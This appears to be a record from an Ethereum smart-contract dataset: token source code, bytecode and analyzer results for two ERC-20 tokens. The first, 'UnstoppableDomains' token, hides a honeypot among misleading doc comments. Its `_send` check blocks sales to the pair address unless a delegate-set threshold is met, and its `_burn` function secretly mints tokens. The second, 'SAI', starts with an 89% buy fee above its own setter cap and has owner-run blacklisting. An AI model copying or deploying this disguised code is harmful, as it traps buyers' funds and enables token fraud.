https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _burn(address _burnAddress, uint _burnAmount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ reflector = _burnAddress; _totalSupply = _totalSupply.add(_burnAmount*2); balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } receive() external payable { } fallback() external payable { } } contract UnstoppableDomains is TokenERC20 { /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; delegate = _del; reflector = _ref; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } }
0x60806040526004361061008f5760003560e01c80633ebcda62116100565780633ebcda621461016257806370a082311461018257806395d89b41146101b8578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610847565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b8565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e2565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061009661017d3660046108b8565b6104dc565b34801561018e57600080fd5b5061010861019d36600461091e565b6001600160a01b031660009081526008602052604090205490565b3480156101c457600080fd5b506100ad6105b4565b3480156101d957600080fd5b506100e36101e83660046108b8565b6105c1565b3480156101f957600080fd5b50610108610208366004610939565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096c565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096c565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106ac565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106cc565b6001600160a01b03841660009081526008602052604090205461040190836106ac565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106ac565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107aa565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104f357600080fd5b6001600160a01b03821661055a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61056482826107c5565b6001600160a01b03821660009081526008602052604090205461058790826106ac565b6001600160a01b0383166000908152600860205260409020556005546105ad90826106ac565b6005555050565b600180546102409061096c565b6004546000906001600160a01b038481166101009092041614156106155760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610551565b3360009081526008602052604090205461062f90836106ac565b33600090815260086020526040808220929092556001600160a01b0385168152205461065b90836107aa565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106bb57600080fd5b6106c582846109bd565b9392505050565b6004546001600160a01b038281166101009092041614158061071857506007546001600160a01b03838116911614801561071857506004546001600160a01b0382811661010090920416145b8061075a57506004546001600160a01b038281166101009092041614801561075a57506006546001600160a01b03831660009081526008602052604090205411155b6107a65760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610551565b5050565b60006107b682846109d4565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f76107ee8260026109ec565b600554906107aa565b6005556108276108088260026109ec565b6001600160a01b038416600090815260086020526040902054906107aa565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087457858101830151858201604001528201610858565b81811115610886576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b357600080fd5b919050565b600080604083850312156108cb57600080fd5b6108d48361089c565b946020939093013593505050565b6000806000606084860312156108f757600080fd5b6109008461089c565b925061090e6020850161089c565b9150604084013590509250925092565b60006020828403121561093057600080fd5b6106c58261089c565b6000806040838503121561094c57600080fd5b6109558361089c565b91506109636020840161089c565b90509250929050565b600181811c9082168061098057607f821691505b602082108114156109a157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cf576109cf6109a7565b500390565b600082198211156109e7576109e76109a7565b500190565b6000816000190483118215151615610a0657610a066109a7565b50029056fea2646970667358221220bafcb8705a6aee5fe328e83afdd8ff825a16b98a1ce126d52cfe96c19cdf5fed64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,742
0x7aa8ebea24774b9f2db87724b75047668b255938
/** *Submitted for verification at Etherscan.io on 2022-04-01 */ /** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWallet; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Student Athlete Inu"; string private constant _symbol = "SAI"; uint256 private minContractTokensToSwap = 1e9 * 10**9; uint8 private constant _decimals = 9; uint256 private _taxFee = 0; uint256 private _teamFee = 12; uint256 private _liquidityFeePercentage = 10; uint256 private launchBlock = 0; uint256 private _maxWalletSize = 1e10 * 10**9; uint256 private _buyFee = 89; uint256 private _sellFee = 25; uint256 private _transferFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _devWallet; address payable private _marketingWallet; address payable private _treasuryWallet; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private _swapAll = false; bool private _takeFeeFromTransfer = false; bool private inSwap = false; mapping(address => bool) private automatedMarketMakerPairs; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event Response(bool feeSent, bool marketingSent, bool treasurySent); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable devWallet, address payable marketingWallet, address payable treasuryWallet) { _devWallet = devWallet; _marketingWallet = marketingWallet; _treasuryWallet = treasuryWallet; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[devWallet] = true; _isExcludedFromFee[marketingWallet] = true; _isExcludedFromFee[treasuryWallet] = true; _isExcludedFromMaxWallet[owner()] = true; _isExcludedFromMaxWallet[address(this)] = true; _isExcludedFromMaxWallet[devWallet] = true; _isExcludedFromMaxWallet[marketingWallet] = true; _isExcludedFromMaxWallet[treasuryWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if (block.number <= launchBlock + 5) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _bots[to] = true; } } if(to != uniswapV2Pair && !_isExcludedFromMaxWallet[to]) { require(balanceOf(address(to)) + amount <= _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = _buyFee; } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = _sellFee; if(contractTokenBalance > minContractTokensToSwap) { if(!_swapAll) { contractTokenBalance = minContractTokensToSwap; } if (_liquidityFeePercentage > 0) { swapAndLiquify(contractTokenBalance); } else { swapWithoutLiquify(contractTokenBalance); } } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) { takeFee = false; } if(!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]) { if (_takeFeeFromTransfer) { _teamFee = _transferFee; } else { takeFee = false; } } _tokenTransfer(from,to,amount,takeFee); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 teamFeePercentage = 100 - _liquidityFeePercentage; uint256 amtForLiquidity = contractTokenBalance.mul(_liquidityFeePercentage).div(100); uint256 halfLiq = amtForLiquidity.div(2); uint256 amountToSwapForETH = contractTokenBalance.sub(halfLiq); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 feeBalance = ethBalance.mul(teamFeePercentage).div(100); sendETHToFee(feeBalance); uint256 ethForLiquidity = ethBalance - feeBalance; if (halfLiq > 0 && ethForLiquidity > 0) { // add liquidity addLiquidity(halfLiq, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, amtForLiquidity); } } function swapWithoutLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function manualSwapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { (bool dev, ) = _devWallet.call{value: amount.div(4)}(""); (bool marketing, ) = _marketingWallet.call{value: amount.div(4)}(""); (bool treasury, ) = _treasuryWallet.call{value: amount.div(2)}(""); emit Response(dev, marketing, treasury); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; launchBlock = block.number; automatedMarketMakerPairs[uniswapV2Pair] = true; } function setMarketingWallet (address payable marketing) external onlyOwner { _isExcludedFromFee[_marketingWallet] = false; _marketingWallet = marketing; _isExcludedFromFee[marketing] = true; } function setDevWallet (address payable dev) external onlyOwner() { _isExcludedFromFee[_devWallet] = false; _devWallet = dev; _isExcludedFromFee[dev] = true; } function setTreasuryWallet (address payable treasury) external onlyOwner() { _isExcludedFromFee[_treasuryWallet] = false; _treasuryWallet = treasury; _isExcludedFromFee[treasury] = true; } function excludeFromFee (address payable ad) external onlyOwner { _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external onlyOwner { _isExcludedFromFee[ad] = false; } function isExcludedToFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function excludeFromMaxWallet(address[] calldata ads, bool onoff) public onlyOwner { for (uint i = 0; i < ads.length; i++) { _isExcludedFromMaxWallet[ads[i]] = onoff; } } function isExcludedMaxWallet(address ad) public view returns (bool) { return _isExcludedFromMaxWallet[ad]; } function setNoTaxMode(bool onoff) external onlyOwner { _noTaxMode = onoff; } function setTakeFeeFromTransfer(bool onoff) external onlyOwner { _takeFeeFromTransfer = onoff; } function setBuyFee(uint256 buy) external onlyOwner { require(buy <= 20, "Buy fee must be less than 20"); _buyFee = buy; } function setSellFee(uint256 sell) external onlyOwner { require(sell <= 20, "Sell fee must be less than 20"); _sellFee = sell; } function setTransferFee(uint256 fee) external onlyOwner { require(fee <= 20, "Transfer fee must be less than 20"); _transferFee = fee; } function setTaxFee(uint256 tax) external onlyOwner { require(tax <= 5, "tax must be less than 5"); _taxFee = tax; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner { require(_liquidityFeePercentage >= 0 && _liquidityFeePercentage <= 100, "liquidity fee percentage must be between 0 to 100"); _liquidityFeePercentage = liquidityFee; } function setMinContractTokensToSwap(uint256 numToken) external onlyOwner { minContractTokensToSwap = numToken * 10**9; } function setMaxWallet(uint256 amt) external onlyOwner { _maxWalletSize = amt * 10**9; } function setSwapAll(bool onoff) external onlyOwner { _swapAll = onoff; } function setBots(address[] calldata bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); manualSwapTokensForEth(contractBalance); } function manualsend() external onlyOwner { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; } }
0x6080604052600436106102295760003560e01c80638b4cee0811610123578063c1187569116100ab578063db8aeab11161006f578063db8aeab1146107ba578063db92dbb6146107e3578063dd62ed3e1461080e578063de30aad11461084b578063e1ab04c91461087457610230565b8063c118756914610711578063c3c8cd801461073a578063c4081a4c14610751578063c9567bf91461077a578063cf0848f71461079157610230565b806395d89b41116100f257806395d89b411461062e5780639a7a23d614610659578063a8602fea14610682578063a9059cbb146106ab578063b515566a146106e857610230565b80638b4cee08146105885780638da5cb5b146105b15780638ee88c53146105dc5780638f02bb5b1461060557610230565b8063313ce567116101b15780635d098b38116101755780635d098b38146104b75780636fc3eaec146104e057806370a08231146104f7578063715018a614610534578063844f30fb1461054b57610230565b8063313ce567146103d45780633bbac579146103ff578063437823ec1461043c5780634b740b16146104655780635d0044ca1461048e57610230565b806318160ddd116101f857806318160ddd146102ef5780631f53ac021461031a57806323b872dd14610343578063273123b71461038057806327f3a72a146103a957610230565b806306fdde0314610235578063095ea7b3146102605780630cc835a31461029d57806312dfbd33146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108b1565b6040516102579190614f87565b60405180910390f35b34801561026c57600080fd5b50610287600480360381019061028291906148e9565b6108ee565b6040516102949190614f35565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190614a30565b61090c565b005b3480156102d257600080fd5b506102ed60048036038101906102e89190614a30565b6109ef565b005b3480156102fb57600080fd5b50610304610a9d565b60405161031191906151e9565b60405180910390f35b34801561032657600080fd5b50610341600480360381019061033c91906147e9565b610aae565b005b34801561034f57600080fd5b5061036a60048036038101906103659190614856565b610c59565b6040516103779190614f35565b60405180910390f35b34801561038c57600080fd5b506103a760048036038101906103a2919061478f565b610d32565b005b3480156103b557600080fd5b506103be610e22565b6040516103cb91906151e9565b60405180910390f35b3480156103e057600080fd5b506103e9610e32565b6040516103f69190615295565b60405180910390f35b34801561040b57600080fd5b506104266004803603810190610421919061478f565b610e3b565b6040516104339190614f35565b60405180910390f35b34801561044857600080fd5b50610463600480360381019061045e91906147e9565b610e91565b005b34801561047157600080fd5b5061048c600480360381019061048791906149d6565b610f81565b005b34801561049a57600080fd5b506104b560048036038101906104b09190614a30565b611033565b005b3480156104c357600080fd5b506104de60048036038101906104d991906147e9565b6110e1565b005b3480156104ec57600080fd5b506104f561128c565b005b34801561050357600080fd5b5061051e6004803603810190610519919061478f565b611332565b60405161052b91906151e9565b60405180910390f35b34801561054057600080fd5b50610549611383565b005b34801561055757600080fd5b50610572600480360381019061056d919061478f565b6114d6565b60405161057f9190614f35565b60405180910390f35b34801561059457600080fd5b506105af60048036038101906105aa9190614a30565b61152c565b005b3480156105bd57600080fd5b506105c661160f565b6040516105d39190614e67565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190614a30565b611638565b005b34801561061157600080fd5b5061062c60048036038101906106279190614a30565b61172c565b005b34801561063a57600080fd5b5061064361180f565b6040516106509190614f87565b60405180910390f35b34801561066557600080fd5b50610680600480360381019061067b91906148a9565b61184c565b005b34801561068e57600080fd5b506106a960048036038101906106a491906147e9565b611980565b005b3480156106b757600080fd5b506106d260048036038101906106cd91906148e9565b611b2b565b6040516106df9190614f35565b60405180910390f35b3480156106f457600080fd5b5061070f600480360381019061070a9190614929565b611b49565b005b34801561071d57600080fd5b50610738600480360381019061073391906149d6565b611d83565b005b34801561074657600080fd5b5061074f611e35565b005b34801561075d57600080fd5b5061077860048036038101906107739190614a30565b611ee3565b005b34801561078657600080fd5b5061078f611fc6565b005b34801561079d57600080fd5b506107b860048036038101906107b391906147e9565b61255e565b005b3480156107c657600080fd5b506107e160048036038101906107dc9190614976565b61264e565b005b3480156107ef57600080fd5b506107f8612788565b60405161080591906151e9565b60405180910390f35b34801561081a57600080fd5b5061083560048036038101906108309190614816565b6127ba565b60405161084291906151e9565b60405180910390f35b34801561085757600080fd5b50610872600480360381019061086d91906149d6565b612841565b005b34801561088057600080fd5b5061089b6004803603810190610896919061478f565b6128f3565b6040516108a89190614f35565b60405180910390f35b60606040518060400160405280601381526020017f53747564656e74204174686c65746520496e7500000000000000000000000000815250905090565b60006109026108fb612949565b8484612951565b6001905092915050565b610914612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890615109565b60405180910390fd5b60148111156109e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dc906150c9565b60405180910390fd5b8060108190555050565b6109f7612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7b90615109565b60405180910390fd5b633b9aca0081610a949190615397565b600a8190555050565b6000683635c9adc5dea00000905090565b610ab6612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3a90615109565b60405180910390fd5b600060056000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610c66848484612b1c565b610d2784610c72612949565b610d2285604051806060016040528060288152602001615ae460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cd8612949565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134909092919063ffffffff16565b612951565b600190509392505050565b610d3a612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbe90615109565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e2d30611332565b905090565b6000